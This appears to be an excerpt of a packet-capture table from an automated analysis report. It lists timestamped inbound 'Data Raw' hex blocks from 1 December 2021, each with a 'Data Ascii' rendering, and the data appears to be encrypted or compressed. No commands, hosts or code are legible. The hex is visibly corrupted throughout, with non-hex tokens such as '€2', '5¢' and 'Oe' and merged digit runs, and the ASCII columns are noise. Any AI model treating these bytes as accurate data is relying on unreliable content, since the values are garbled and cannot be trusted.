2021-12-01 08:15:22 UTC 484 IN Data Raw: d9 f7 ff 85 c7 a7 07 fa 3b ce 24 c8 c7 cf 94 92 e2 e2 55 a7 9c 8 a6 65 1e 9b 6e aa bb cd 23 9e 2d 29 49 d7 29
€2 8c 9a 64 15 a7 2f 43 04 df d4 16 5d e3 6f 75 c9 d6 d5 8e 94 cc 5d 6a 45 99 b2 5d b6 06 e6 5d 7a d5 b5 20 f2 34 e0 e8
a4 90 43 b6 84 9f 3a 7a 82 78 ce 9c 3c f7 06 2b 6a 35 2d eb 8e 8f 8¢ b0 a9 dd 12 97 fb a8 e2 01 36 44 80 Oe 5f 77 €9 be
ea 96 5¢ 99 b2 d7 98 cb 9a 5b 0f 91 8¢ 38 49 3d 97 66 ee 43 b2 b8 11 1d 2f bc 5¢ 7d d1 f7 e4 ef 6b cf 48 5b 3c d4 d0 83 3f
€9 9a c9 a5 3 28 1a bc 87 cf 3b 6¢ 98 f4 b6 5c 4f 41 5a 25 9f al af d8 64 cb 72 96 40 b6 26 68 Oe da b7 06 07 Oc bd 34 5e
ea f5 5¢c 7e 44 38 14 78 8d 5f d3 3c 3a €6 14 6b b2 9c 61 35 70 20 Oc 58 c0 85 fb 4a 2e 40 4b 26 a9 9b 62 63 7e 28 4b 45
da 5 5¢c d5 b3 2d 75 2c Ob cf 93 1c 15 b0 e7 82
Data Ascii: ;$Uen#-)1)d/Clou]jE]]z 4C:zx<+j5-6D_wW\[8I=fC/\}kH[<?(;NOAZ%dr@&h4™\~D8x_<:ka5p XJ.@K&bc~(KE\-u,

2021-12-01 08:15:22 UTC 487 IN Data Raw: db 04 5b 91 0f b0 3 bb 53 32 2b a8 58 9b ed c6 f8 6d a4 a8 a5 56 40 f4 e3 b8 31 43 93 d0 d4 2b b6 87 79 b6
69 e3 f1 4f 42 24 21 66 e2 2d f7 64 40 ce 85 76 Oa 3d 37 c6 2e 10 88 9b 02 92 0f 5d 61 4f 98 2b c4 3b d2 7d 8e 35 35 01
8b 02 80 bd 19 98 32 19 d7 33 2a €8 37 2e a7 5a c1 58 5¢ fc 1c d9 50 c¢8 10 c3 d1 c8 2f ab 46 ea 9b de dO e0 8a 4b d1 51
9c fc 49 87 97 1d 88 f4 85 e2 ae d1 73 a0 fb b9 ca ae 86 a3 d9 09 76 60 d1 87 3f 40 63 ee 95 76 01 f4 9b 69 32 a2 1c 01
a4 do a8 a0 26 2a 41 14 94 32 47 e3 ¢9 38 7c c7 6d 09 b7 83 df ab 78 d7 c2 2f d1 ef 72 b9 82 a0 15 b0 5a 77 e2 6d 5d cd
28 69 b0 87 8a 18 b5 a3 a6 a9 6b 6b 17 12 51 23 ff 53 fe 55 6b 92 28 4b 4d 7d 91 4a 02 9e d1 94 2c 2c 13 a9 64 ba cf 60
ed ee 3c 2c cl a5 cd 4c 05 50 38 26 53 d2 4b a0 05 8d 76
Data Ascii: [S2+XmV@ 1C+yiOB$!f-d@v=7.]a0+;}5523*7.ZX\P/FKQIsv ?@cvi2&*A2G8|mx/rzwm](ikkQ#SUK(KM}J,,d
"<, LP8&SKvV

2021-12-01 08:15:22 UTC 491 IN Data Raw: 89 cf 96 15 02 b4 9f 94 7d 31 54 e7 5a eb d0 25 63 bb 60 a5 4a 64 06 c2 37 2c b4 2e 35 b0 b4 33 d3 2a 66 c5
ab el 41 fc ca ab 61 d9 c9 dO Oe 59 42 09 6 10 fb e4 a8 02 d3 7f 27 06 f8 95 7b 90 Of 7b 93 f1 9d 9b d6 3a a9 06 b6 €8 d2
4a 6a 87 e2 78 24 a4 87 ca e3 22 ce 23 fa 6d b4 77 72 3e c1 18 d6 73 39 18 92 ed 5f 90 41 15 d4 a7 7b 01 cc 08 f2 d1 4c
ch 55 9a 3d ff 22 07 49 ea 08 d4 45 05 ec e7 81 7a 14 52 e7 04 20 81 44 a9 c8 2d 4f 24 c2 8d Oe 83 f4 70 5 d1 2e 52 bc
4a 62 82 87 ef 80 a3 b0 01 5e 4b dd a7 51 dc 02 31 c0 Oa cb ¢7 2d 38 2a 5c al 93 84 69 97 a6 3a 8a b1 0a 74 3b 19 92 f2
333156 bf 3b e6 61 ab 57 20 ab 9 27 7 db c0 e3 5e 94 e4 58 ee b0 ¢5 ¢7 d2 17 ae 46 dc 57 9c 7e al 07 7c €9 8d c7 ee
02 b9 2c 4b 6¢ 82 ec 87 53 98 ee 61 39 8b 3e d4 a9 b0
Data Ascii: }1TZ%c'Jd7,.53* AaYB'{:Jjx$"#mwr>s9_A{LU="IEzR D-O$p.RIb*KQ1-8\i:;31V;aW “XFW~|,KISa9>

2021-12-01 08:15:22 UTC 495 IN Data Raw: c4 eb a3 78 52 4e 41 e7 29 70 57 83 22 e6 d7 7a 8a 94 27 59 cb c9 5f fe fd b4 20 02 0f db 46 dc Ob 1f 2b 60 eb
5c fc dd 75 b8 ac 1e 6d 5b 48 f9 09 49 31 88 fe 63 41 91 6d ef b5 8d dc 6b a8 77 62 0d 98 5f 17 fc ea dc 7b €3 be 73 ea
1b 91 8f 7d 96 e6 c5 36 ab b8 53 cb 94 f6 65 95 bd 37 €0 24 b6 9c c9 f3 38 8¢ 27 4c ef 85 a4 57 al ef 10 87 a4 8a 17 5a f9
4d ac 06 88 8b 9f 79 d5 06 ea 55 9f a3 f1 4d cb af 9a 0d da d5 ae 6e fc d8 cc 46 5a d2 19 33 f9 26 0d ae 67 54 ¢3 7f 15 16
da 3a af 86 16 f7 Oc 1c 94 70 c6 ef a0 93 3e Oe 5f 84 38 8d 3f 69 63 e6 37 32 al bad4 0d el 61 al ec af 1a Of 9b 37 89 d5
e4 88 60 6e 0a 42 a9 86 38 d1 37 e7 87 04 23 16 f1 00 25 38 1e ab ab d6 37 35 3f fc 81 fc 6f de 7a 50 42 ¢3 40 f2 5d 6d
cl fa 20 41 42 9f 43 38 62 8a 44 9e f1 23 92
Data Ascii: XRNA)pW"z'Y_ F+\um[HI1cAmkwb_{s}6Se7$8'LWZMyUMnFZ3&gT:p>_8?ic72a7 nB87#%875?0zPB@]m
ABC8bD#
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 500 IN Data Raw: 92 e7 9a ab 74 02 c8 15 5e 16 ff 42 00 00 52 fd 95 5f bb 76 e6 47 5b 6 f2 01 9¢ b1 05 d2 d0 2d 91 03 12 24 9e
9e 8c a5 6f 14 81 06 b5 63 ed 2f bb 63 3d dc 68 51 35 37 25 f6 3b 8f 57 a7 Oc 9e b2 54 23 03 45 e3 5a dc 76 41 29 30 fe
48 10 bc 6e 1a ac 37 0a Oe f9 7f bd 21 0d 53 88 84 5d 68 eb f2 f1 cb 81 94 f0 70 07 83 18 1f 7b 3d a4 5e Ob 3a df 93 f1 71
87 58 12 98 77 48 63 f4 52 18 d0 f2 da ea 3c d0 2f fc 95 67 41 26 03 97 44 69 8d 98 ca 38 98 3f 83 54 60 3c d9 c4 94 49 7f
d6 39 05 21 6d 5 74 89 c8 34 28 09 81 ea 10 cf aa db 7d 32 fe dd dd b5 16 6b 43 e2 d8 5b 2d 02 8b af f7 ac 83 80 e7 68
f2 6d 50 4e 4c fd f2 70 9d 78 08 8f 3e e4 fa bd 6e af 13 5d ee 50 b1 4f 3f 4b ad c9 Ob fc 5¢ 70 c8 Oc 6¢ 76 b0 bf a2 29 Ob
f1 56 00 el 18 65 c7 c1 dc 64 bf 86 34 c2 5¢
Data Ascii: t"BR_vG[-$0c/c=hQ57%;WT#EZVA)OHN7!S]hp{=":gXwHCcR</gA&Di8?T <I9!mt4(}2kC[-hmPNLpx>n]PO?K\
plv)Ved4\

2021-12-01 08:15:22 UTC 504 IN Data Raw: b2 4c 61 18 52 d1 22 ee 9c ef 68 dc cb ce e5 4b b8 32 e0 3 64 aa 30 69 d2 17 e4 8a d3 87 b7 2e db 0d 26 09
82 62 ef ef f1 01 be d2 68 99 06 3b e3 68 cc d4 8e 78 f2 33 04 31 bd 04 97 4f 88 42 34 c0 7d 71 dO f9 ae 61 4f 19 c2 9b fO
53 35 62 41 93 1a ca Oa e0 09 b5 73 98 ef 9b d5 53 48 5d 06 d7 c5 61 2d 96 85 3a 45 ba 04 6d 43 9f 8f 8d ¢3 65 20 a3 7¢c
73 e3 5e 12 48 20 fe a9 df 59 0f b3 d6 5e 7a 8c d2 3c 14 86 14 4b cb 57 49 48 d1 00 fO 9b d5 Oa 7c bf d9 ac fa fa 53 f0 1e
7e 49 a3 19 12 23 7c f6 6a 94 9b 2e 80 81 16 97 e8 ea 81 c7 f1 b6 a8 c3 db 93 9c¢ 96 9f cd 58 9c 52 ae 84 e3 33 af d3 Ob
9e 31 af 04 55 a9 3d 64 51 9a c0 13 84 c0 04 09 5a 57 1d da fb 45 db 65 cf c7 49 66 42 35 11 b5 ae d8 d2 f6 be 20 43 ab
fa 49 37 d8 db 30 f4 8d 0f 59 4e 54 a7 24 79 03 bd
Data Ascii: LaR"hK2d0i.&bh;hx310B4}qaOS5bAsSH]a-:EmCe |s"H Y"z<KWIH|S~I#|}.XR31U=dQZWEelfB5 CI70YNTS$y

2021-12-01 08:15:22 UTC 508 IN Data Raw: €8 a0 d9 cb 19 67 31 30 45 1e 24 64 14 78 9d 68 44 07 b0 d3 08 88 ca c2 56 79 80 ba 2a 23 8c b5 d5 e8 26 97
81 3d fc d1 0a 28 fd a2 08 87 04 57 47 fa db 58 1f 79 09 da b4 22 fa 58 06 84 1c c7 df ed 54 ba 9e 92 {7 82 92 a5 5f 08 a2
ef al 36 df 15 af 7c 9d 62 dd 98 70 94 6f cb 6a 7f 6e 4e 27 ed 39 35 Oe db 79 e5 f9 30 6e 6f 90 2d 75 03 4d f0 84 f4 86 5b
58 61 a6 14 57 20 d8 cf 5a 5a 32 29 25 f0 9c a6 3d 07 f8 c3 2e c7 34 6a 8a c9 2a 3e 56 ¢3 37 18 22 90 a0 a4 46 74 ee d1
67 9d f5 6e fd 1d 85 b3 el 5e 4f 74 bc a3 65 94 9c Oe 24 8b Ob 5a 81 76 b8 10 00 32 bc 5a fc 1e el f7 e2 dd 14 70 91 1le
00 3d 7a 8d 1c ff f2 05 15 31 1b 20 c2 5d 25 15 49 be c0 54 bc de 44 45 ee f8 ¢9 10 ed ee 66 63 bb 7a 09 b6 4c a5 41 be
30 26 2c 32 2d e2 33 b2 b8 df 73 58 0d 41 e6 f6 08
Data Ascii: g10E$dxhDVy*#&=(WGXy"XT_6|bpojnN'95y0no-uM[XaW ZZ2)%=.4j*>V7"Ftgn"Ote$Zv2Zp=z1 |%ITDEfcz
LA0&,2-3sXA

2021-12-01 08:15:22 UTC 512 IN Data Raw: 02 a6 1b 16 5f d6 ec 9a 9e 52 fc a3 67 42 48 ae 5¢ 58 6f 20 1e fe 63 ¢7 0a d7 06 8¢ 3e 52 3c 43 b6 e2 3f d1 fO
ee d1 b8 8b 23 48 7d 6¢ ca b6 f4 ea a0 €8 2b 81 91 20 cf 94 ac c1 al 62 17 40 26 36 cf 4b 5a 9b e7 c6 95 69 9c a0 bf 5d
b1 09 7c 9d a4 27 cf 9f 9a 0d 3b 37 f6 2f 39 67 15 50 85 e3 b0 4 46 6f 4e 17 dO f5 23 01 6a a0 e8 2e af 60 Ob 81 38 1d 2d
94 9f ¢7 76 b5 c0 70 d0 60 22 e7 06 62 5d b7 a3 81 a5 97 9c ¢4 62 98 a8 27 93 98 b0 48 ad f2 b7 3c 2c 39 51 24 fa cf 22
79 ba 1b 14 a4 00 3f 63 35 91 a4 85 66 83 3b 4b c1 fd 30 b9 58 1e 40 87 28 33 b0 86 d2 b8 7c 47 07 99 c6 6f 8e 83 64 cO
fc €7 01 23 fc Ob 11 cd 33 d1 9d 60 06 43 b7 e7 7e cb 5f 8f 39 ce f3 6a 56 b6 9b 63 c5 f7 5d f8 51 01 65 2d 1a Oc b4 42 2c
05 a9 b6 al 03 5b 90 a9 15 ef bd 5f a5 5¢c e8 87
Data Ascii: _RgBH\Xo c>R<C?#H}l+ b@&6KZi]|';7/9gPFoN#j."8-vp™"b]b'H<,9Q$"y?c5f;KOX@(3|God#3'C~_9jVc]Qe-B,[ \

2021-12-01 08:15:22 UTC 516 IN Data Raw: ef 29 6d 73 a0 55 27 9a 50 03 fc 50 75 46 62 40 el ab fb 31 c1 1b 54 6d 82 b8 c1 02 ff e8 4b ce bb 84 d2 7a 88
2b fe 79 20 f7 b2 5d 08 50 ff 41 f9 b7 4c 38 89 02 57 92 b6 b7 48 07 8a 00 73 66 d2 a3 1a a2 f6 b0 47 8c ea d1 70 b5 b9
ad 6f ae 95 30 58 ec 08 7e 77 91 f7 8d e6 40 c1 4e 50 07 el 27 c¢7 13 02 00 6¢ 6d 40 45 a6 1b 37 35 1b a6 6d 1la 64 ca 1c
08 53 0f 16 be 28 95 d7 07 af ad 74 a4 e0 6f 38 e2 7c 8a d0 60 37 al 24 5e Oa a3 1e e3 88 43 07 69 25 09 16 fe Of 18 20
16 d1 14 4e d7 faab e5 72 4d 77 ec 7e 6d 14 b9 58 ef d1 89 56 7c 8f b2 39 64 9d 7c 6¢ 4c 90 6d 7e 3d 6d 34 bc f8 7c 12
00 ba 2c a5 90 99 2a 43 81 28 fb a2 05 97 f3 fO 4f 03 7e 53 69 00 e6 c8 f2 08 ee 14 3f 0d 71 c0 60 Oa 95 b3 66 b0 23 67
88 9b cd 5¢ 71 b7 42 16 3c 1b 5a 46 47 1c ¢8 64 10 7d
Data Ascii: )msU'PPuFb@1TmKz+y JPAL8WHsfGpoOX~w@NP' Im@E75mdS(to8| 7$"Ci% NrMw~mXV|9d|ILm~=
m4|,*C(O~Si?q f#g\qB<ZFGd}

2021-12-01 08:15:22 UTC 519 IN Data Raw: 4e 94 9b 97 4e 9e 34 1c b6 c4 dd 28 a0 02 d2 08 9b c¢8 77 00 58 d5 ee dc 47 42 95 c4 cf ac 18 3b al cf 31 78
c4 f1 04 66 78 89 cl af ff a6 1a c9 40 15 d5 1b 61 10 06 85 82 ae 16 66 16 3c 5e 5f 88 1a 19 f2 6f d5 68 1c ed 7a a0 79 87
20 80 d8 Ob 44 c9 ef 40 c9 b5 da 54 48 e0 b1 fa d0 af 9d 6a 81 12 bf c9 b5 4d 96 af 37 91 c5 1d bb 50 08 7 84 2b 8a e8
fa 40 7f 9e f8 08 a3 46 04 9d 2a 89 09 9b a4 1d 42 7e 55 81 67 eb ab fb b1l 67 9c 41 d3 ad fa 3e 3b 96 42 f0 1d a7 8b a2
b6 e0 a6 26 05 d0 c9 6e 45 bc 6e 8a fc c2 e7 96 f2 3c Ob 89 e8 9e a5 6¢ fd ce 9b 12 74 5 cc 0 f3 d4 18 e7 de c5 9a 31 b3
82 b2 32 06 5d 76 e4 e0 68 a8 1a 2f 2f 0d fb 1d 3d 08 8e 79 ae bb 1e eb d6 7f 95 08 f0 94 2b a6 9c ba 38 7e db 13 9c 92
93 5a 33 84 db fd 5d bf 16 05 37 63 cd 4a 7b 2e 19
Data Ascii: NN4(WXGB;1xfx@af<”_ohzy D@THjM7P+@F*B~UggA>;B&nEN<It12]vh//=y+8~Z3]7cI{.

2021-12-01 08:15:22 UTC 523 IN Data Raw: da f7 8f 20 ed 84 bd d5 ef cd ea f8 db b0 81 a5 a9 49 9c 90 7a 37 87 31 e6 77 f3 04 3c 37 f3 3d ee 64 ef 87 cf of
379870 06 16 d5 70 0a 49 20 27 49 dd 3c 13 53 e9 fd 68 55 fd dc 65 6b 4f 22 de 9e Of 3b 28 48 cb 1d 96 21 a8 4e 8d 83
0a Oc ef 53 26 4d 94 02 3f 6e 05 ff c4 78 a8 5f 38 18 34 78 fd 15 16 9e e4 3f 7e eb fa 96 4b f9 c1 f4 32 al 96 76 38 22 7a
ab 96 bb 5 cb ce 0d 8e 58 ae 2b 71 a3 bd 50 5¢ 75 1d ec c0 6e 4d fe 11 3d 26 91 df a9 7b ba f3 49 d2 72 1f 91 69 6f f7 90
01 f1 55 bb d6 33 71 06 6a 66 3c 39 d3 81 f6 1c 46 93 9b 15 ff 63 7e cO 78 53 8f €9 54 e4 bhc df 4f ea d3 a5 95 66 41 03 fa
65 44 c2 5¢ 09 01 bf b0 ff €3 22 5¢ 17 79 f6 2d f0 f7 2a 43 €0 92 e0 8f d7 49 55 68 12 81 83 35 d3 58 1c 83 2a 34 cb 98 Ob
41 80 46 07 d0 8e e4 a9 c2 c8 22 b5 45
Data Ascii: 1z71w<7=d7ppl 'I<ShUekO";(HINS&M?nx_84x?~K2v8"zX+qP\unM=&{lrioU3qjf<9Fc~xSTOfAeD\"\y-*C
IUhSX*4AF"E

2021-12-01 08:15:22 UTC 527 IN Data Raw: dd 0d e3 8c aa 50 24 23 b0 1b 64 71 95 92 2b 15 ef 4d 29 89 54 c9 47 c4 8a fd b2 ae c2 a2 c9 6a al 06 3c ae
e5e0 d1 b9 65 a5 5e 9a b6 97 69 53 5¢ 32 1e 03 d4 04 64 a2 be 69 36 7c 46 ba 43 85 a6 43 al 25 0d 29 c1 fb Oe 2f 24 bc
dc da 29 fe ¢9 4c 9d 9c 51 75 1a 5a 7f 64 27 c1 c2 d3 7f c8 53 e4 c2 61 41 Oc 78 7f aa 18 16 58 3c 20 e2 be 22 da 52 c7 f8
a2 60 9e 31 e8 08 a6 79 2a 87 3a a8 df 4e d7 85 2d 49 c4 17 75 f8 ac 4b 54 8a 84 €9 d0 69 9f 35 1c ba 23 8c c1 33 33 16
32 85 fd 54 3d 37 59 8b b3 b0 10 57 fe b1 18 0d 6b 6f 42 d3 46 3e de 99 98 fc 77 e6 5f 2f 4f f0 ab c7 db e 6e 6 e3 2e 70
fe 03 a9 4b 92 Oc 22 09 29 3e d4 14 4a 7c 16 c9 0f d7 19 ac 5¢ 46 54 2e 9d 83 c4 f1 3d 98 67 81 35 66 2e b3 cf ef c4 28
Oa db ac ec a2 e4 f0 f8 be 29 e8 Oe 1b e7 12 a3 e3
Data Ascii: P$#dg+M)TGj<e iS\2di6|FCC%)/$)LQuZd'SaAxX< "R 1y*:N-luKTi5#332T=7YWkoBF>w_/On.pK")>J|\FT.=g5f.
0

2021-12-01 08:15:22 UTC 532 IN Data Raw: 24 f1 ba b0 ae fc fc b7 e4 61 15 25 91 c1 f2 c¢3 f6 d2 87 25 be 05 f5 d1 01 26 65 dd 80 3c 02 b7 7f f4 de el ff 22
dd 88 cf 54 1d f8 ab ca 95 d3 46 65 a6 04 fe 0a 88 0d a2 13 69 eb 53 db 5e e9 16 df b6 Ob 42 01 55 86 67 e7 2a 21 5a e8
86 db b5 ca 49 50 62 79 e6 14 d3 41 1e b8 ff ea 86 fe 42 b2 2c 8a 1d 20 ff 8c b6 39 36 Oa c3 a4 23 15 15 05 2f 5d 48 91
4e 4fdb a4 1b 71 4f 8d 69 39 91 cf a3 30 96 92 93 f5 46 10 a9 10 15 ec dd 9e 0f 98 bb 12 03 09 fa b1 02 a7 Oe 2a 29 1f 52
a6 01 d9 2e da dd 94 64 16 13 fd f8 00 94 64 93 25 91 dc 14 cd bf 04 ec 56 f5 30 f5 b0 60 b3 f4 12 75 ac 87 34 41 bc 89
2d 04 96 44 9a 52 cc f0 a6 25 a8 4e 5e e0 Of el 52 88 d1 33 €9 c5 ae a8 1a 54 f4 eb 29 4c 8b 61 23 4d 6¢ 9c 7e f4 8d 87
96 87 ad 19 09 54 1f f1 04 fe cO fa ef dO d7 1e
Data Ascii: $a%%&e<"TFeiS"BUg*!ZIPbyAB, 96#/][HNOqOi90F*)R.dd%V0 u4A-DR%N"R3T)La#MI~T
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 536 IN Data Raw: 12 al fb el b3 c6 cf d1 a2 b7 5 84 df 1a 76 5f Oc 06 ce 63 f6 da ab b1 f4 ee 79 09 ad ed 56 07 95 43 Ob d4 3a
2f 0a 0f 21 08 97 d7 20 7f 66 ca e5 73 57 f1 59 9d 52 06 96 71 5a 42 52 fd e4 33 9d {3 8f 46 00 32 4b fe ee 6a 7c 0 9d 08
69 45 f0 64 92 a2 08 10 5b 23 00 05 c9 37 48 93 46 a2 01 ba 1e c1 c5 00 c4 dO 03 28 7 e8 4f 92 76 {3 fc 61 c7 57 63 04
6b fb 90 b8 9b ca 5b 92 2a 76 2c 85 85 22 1c 09 65 6e dc f8 ec 9c 35 6¢ 19 c3 2b ee b0 da b4 ed 7f ec f9 09 fd 45 bd 54 57
7762 18 ce 59 e8 a6 f2 db 03 bd al 6d dd 03 7a af fe a7 cc 12 fe 68 63 65 05 b1 ea 47 a9 c¢3 90 10 56 de 1c 43 3d 0a 23
9b d7 a3 54 bb 4¢ 75 5b 41 d0 46 39 b3 96 €3 82 73 f9 56 al b5 fa af e6 60 98 90 ee d1 bf a8 8c 3a b6 61 4f 1f b9 00 Of 4e
de 29 68 b4 d4 a2 cd 9e ea 54 b1 48 38 08 44
Data Ascii: v_cyVC:/! fsSWYRqZBR3F2K||iEd[#7HF(OvaWck[*v,"en5I+ETWwbYmzhceGVC=#TLU[AF9sV :aON)hTH8D

2021-12-01 08:15:22 UTC 540 IN Data Raw: dc f2 d0 4b 9c 4f 79 c2 94 71 e7 2a ec al 1a 3c 05 e0 f9 d5 bf 3a d4 81 6a 09 13 43 6a c0 83 80 b5 6b 16 29 67
2b bf bb 2a ff 13 bd 58 f8 ff 5d a2 f1 e3 ba 9b 42 68 a6 69 4a 74 e9 5e d9 ee 80 ad 47 49 71 22 a3 ba d9 21 e0 cc 70 4b 2e
70 d8 a6 5d bd 7b a0 3d c5 f6 9e 07 19 e8 84 67 83 48 d8 c4 b2 11 76 3f 14 66 37 d6 6b af 18 44 4f 4a ba 46 5a a5 5d 14
6e 7e 2c 0d 39 2e 0a 04 ce bb db 5d ea e0 5d 30 f1 35 39 27 72 bb b9 09 e8 c5 97 al e7 aa 1f dd 68 c0 5e f6 66 7f af ec
be 2e 41 c4 37 14 37 93 59 68 03 79 65 7c 6 df bd 43 d8 fa b3 fc ba 22 03 d6 39 b1 7f fb 22 ae df 62 7a a8 45 b5 55 da Oa
3c 5e 53 14 cc ae fd e8 bd 21 48 26 87 1c fe 7d a3 55 44 5d 03 3b b3 d1 48 4c Oc db d0 5d 2c 64 80 03 83 df 34 5e 79 67
c8 df 5d 03 a3 f3 be a8 6b 8a f8 25 29 13 2d 9c
Data Ascii: KOyq*<:jCjk)g+*X]BhiJt"Glq"IpK.p]{=gHv?f7kDOJFZ]n~,9.]]059'rh"f.A77Yhye|C"9"bzEU<"S!H&}UD];HL],d4"
yg]k%)-

2021-12-01 08:15:22 UTC 544 IN Data Raw: 00 66 34 03 58 64 ce 8b e2 4d d9 1d 1d 8f Oe 8e 61 1e 59 7b 87 5d fd 97 9e Oe 38 57 ad 5b 1c 9e 2f 97 62 cO
10a841 87 c1 5¢c 78 e3 18 d9 fd 33 a9 9c 04 82 6 e6 f1 98 dO 4c c4 e2 39 e3 b0 85 48 7b d3 71 32 84 a3 20 7a 72 92 5d
ad 1d 33 40 20 6a 7d 3a 18 f5 6f 41 87 6e 3f 56 9b fa 82 d1 6d d1 4b 5e 28 07 ad 88 ff 6¢ 17 0d 28 4e 76 6¢ 46 15 ff 91 28
a8 5f ab 16 23 d2 37 52 ¢3 16 Oc 70 5a df 4d 52 9a 69 11 3b 87 bc 9d b9 20 3d 18 77 31 ed b9 4c f9 a0 7c 09 6a db ff 23
ba 9c af 62 dd 2f 7c ¢3 7f 67 af 06 c6 cd 21 20 15 5f fa 39 38 8f 47 4f 5¢ fd 69 46 cf 61 bb Oc c1 3b 21 4a b4 e3 1c 76 7c c9
2a79 d0 a9 c4 6e b1 50 10 40 al d3 fe d5 bf 2a 15 b2 27 ae 61 a7 1d 88 a8 cc 22 cb b8 ba 70 01 f4 c5 9d e5 59 2b aa c6
3059 38f9 60 c7 51 1f 9c 1d 39 1f 11 14 69 bf
Data Ascii: fAXdMaY{]8W[/bA\x3L9H{q2 zr]3@ j}:0An?VmKA(I(NVIF(_#7RpZMRi; =w1L|j#b/|g! _98GO\iFa;!Jv[*ynP@*a"p
Y+0Y8 QUi

2021-12-01 08:15:22 UTC 548 IN Data Raw: e3 e3 04 Oa 97 68 aa 4c 07 ba e2 5b el 66 al 44 7f ac c5 33 c8 5b 30 e6 84 b2 02 e3 4f 2d Oa 4c 1f 25 6¢ Od
5133 37 0f fa bd ad b1 ¢8 bd 03 e9 7b 37 f5 a4 27 07 d2 49 6d d5 e3 24 42 54 15 22 af 9b b2 bc 7f ¢6 23 39 31 2d 3c dc
93 5¢ 37 cd d8 cd 00 e2 f1 61 09 dO 75 4d f4 b0 d8 b7 c4 23 0d 01 3c ee 5d 9c e9 cd 24 2a 0d 21 ab 03 bd df c3 3a c8 55
00 8d 5¢ 35 02 35 8d 80 f7 e4 92 4b a8 d9 b0 e0 26 9d c2 ef 1e 26 a9 b5 65 2f 4c Oe 68 3b 87 cO {7 8e ee a4 4b c4 58 96
42 23 6c ef a4 f8 14 c8 64 6e bf 34 fd 3f a6 90 b9 28 61 b4 19 61 8 f4 01 be el 3b 07 2f a6 32 53 99 31 fc 9a c5 d1 83 07
45 ec 4d b8 ef 97 51 b0 51 e5 48 ce af 05 19 e2 0d 47 5a a5 b2 22 41 39 35 d3 Oc 8d Of fe cO c6 01 Oc e5 49 3c 8d 51 69
Ob 9f 69 7d df dd 9b e2 f7 91 18 51 9a 81 91 43 97 27
Data Ascii: hL[fD3[00-L%IQ37{7'Im$BT"#91-<\7auM#<]$*1:U\55K&&e/Lh;KXB#ldn4?(aa;/2S1IEMQQHGZ"A95I<QIii}QC'

2021-12-01 08:15:22 UTC 551 IN Data Raw: 8b 18 62 b5 44 71 20 00 f3 d9 db c3 17 27 39 8f e3 3e 9f fb 39 9f cf d4 87 d9 ec f9 11 3e a8 c6 e6 ca 2a f0 89 cc
a7 f2 fc e0 fe ce 6¢ f8 7a 70 e7 dd Oc 3d 08 08 a6 79 86 5f 8f 45 ec 22 42 e0 29 a0 54 bd 70 40 d6 Ob 2c b2 57 65 5e 1c ca
dd 57 96 c1 bc 63 2e 46 1d ca 5a b4 29 6 1e fe df 60 Oa 27 68 1d d2 dc 9f c4 5e ce 86 77 11 d1 8d Ob c9 14 ce ba bl 9a
1d 6b 49 82 11 d9 f8 d1 8d a8 41 ba 43 9a f3 14 5f f0 5d Ob 3a el b2 85 7b 46 ff Oe 93 ¢8 31 9d 37 06 8b 81 f6 78 46 75 Oe
f6 ee ed 86 82 7b 61 6d 01 95 95 32 8¢ 08 ad 57 60 63 3f f6 cO 13 1a 51 6b 36 52 66 f3 71 3c 4e 54 ba 82 77 95 55 81 16
6b ff 50 9f ef 85 51 5¢ 6b 70 d3 75 f4 2b fe f2 f0 44 19 18 a0 Of a3 ¢5 53 €9 cd 14 2d ae cf 75 b3 1c 74 €9 84 5b 62 5b 93
7e d0 79 f9 ae 36 1a 01 23 e5 40 b0 09 b9
Data Ascii: bDq '9>9>*Izp=y_E"B)Tp@,We"Wc.FZ) 'h"wKIAC_J:{F17xFu{am2W c?Qk6Rfq<NTwUKPQ\kpu+DS-ut[b[~
y6#@

2021-12-01 08:15:22 UTC 555 IN Data Raw: 60 24 5b 44 2c 1b eb 47 51 9b 1a d9 cd 20 d4 5f 49 2d 5b dO 66 bb c5 cc 2a c1 43 62 09 8a a6 70 96 4c 18 25
81 19 c3 e0 4f f2 77 da 22 a9 65 ef 4a bb f8 78 d6 eb 5¢ bc bd d4 ed ce 99 68 29 65 29 6f 3b 28 el 9f 61 fa dc 7e 59 cc c4
a2 35 8¢ f6 1e 5a be be 64 12 73 9c ea fd 41 53 ad 24 00 91 40 bb 21 d3 b6 27 a9 7b da 4f 23 00 90 ae fc 5e 90 39 79 27
cc f1 32 9b bec 52 d9 6f 28 87 39 df 2e e5 bd e8 75 bc a0 5a eb 01 d7 71 4f 33 52 05 al 0d a8 ed 45 40 1a 6f 39 7a 7 ea ce
ac 63 5b 5d d9 eb Ob 67 24 3c 8e 7b 40 a9 20 59 1f bb 14 58 a3 57 d0 2e a0 fc 44 d2 7d a5 54 d0 35 38 c6 96 62 2f 31 ff
f4 29 1c f1 57 e9 b5 69 e4 cb 50 61 28 3d 7a b7 5d 6d ac ad b9 8e Oe 9d aa e5 4d 74 37 de c0 1c e3 18 09 29 00 4c bc 6¢
ae 69 9b 6f c2 bb 7e 89 Oc el 65 2¢c 1d 7e 19 1le 1la
Data Ascii: “$[D,GQ _I-[f*CbpL%Ow"eJx\h)e)o;(a~Y5ZdsAS$@!{O#"9y'2R0(9.uZqO3RE@09zc[]g$<{@ YXW.D}T58
b/1)WiPa(=z]mMt7)Llio~e,~

2021-12-01 08:15:22 UTC 559 IN Data Raw: 60 1d 05 ed f2 13 56 3a c4 3b e3 2e ca e8 0f 13 28 e4 4a 29 c0 4c 9b fc 3b 22 9c 5d 66 a2 8b 63 Oc 16 25 fe dc
66 2b 74 40 6a 76 bf 03 84 c1 81 dd 35 a9 30 a6 d3 be f9 b8 1c af 17 30 3f 1c af 62 f0 el c9 50 ca 57 43 6a 64 75 3a 17 58
5c dd 9e b2 bl 43 41 00 90 42 e2 9e d2 01 85 25 d0 aa fd 3b 69 80 12 83 ee 61 2d dd c8 €0 5b 7c 98 c9 €0 d4 ea b0 41
ae ec 46 45 d2 f7 66 50 26 40 05 02 3f a0 6b b0 66 c3 a0 3a 1b 27 1d 75 43 8¢ 46 dc 39 bb 8f 6a 78 ef be 45 2e 19 7b 43
21 18 bf 1f 83 7b c8 el 1d 28 e6 e7 e4 0f c2 37 ee e2 d0 eb 2d ca 08 06 38 aa 39 24 21 af 03 4a 15 36 d8 25 ae c4 8e 79
55 Oe Oe f8 64 62 95 d4 ff b2 73 45 70 bb dc fe 7 5d d1 97 c0 3d 86 af 6f 4c c2 3b 4d de 5 19 45 70 ¢4 25 al 73 7e 15 a2
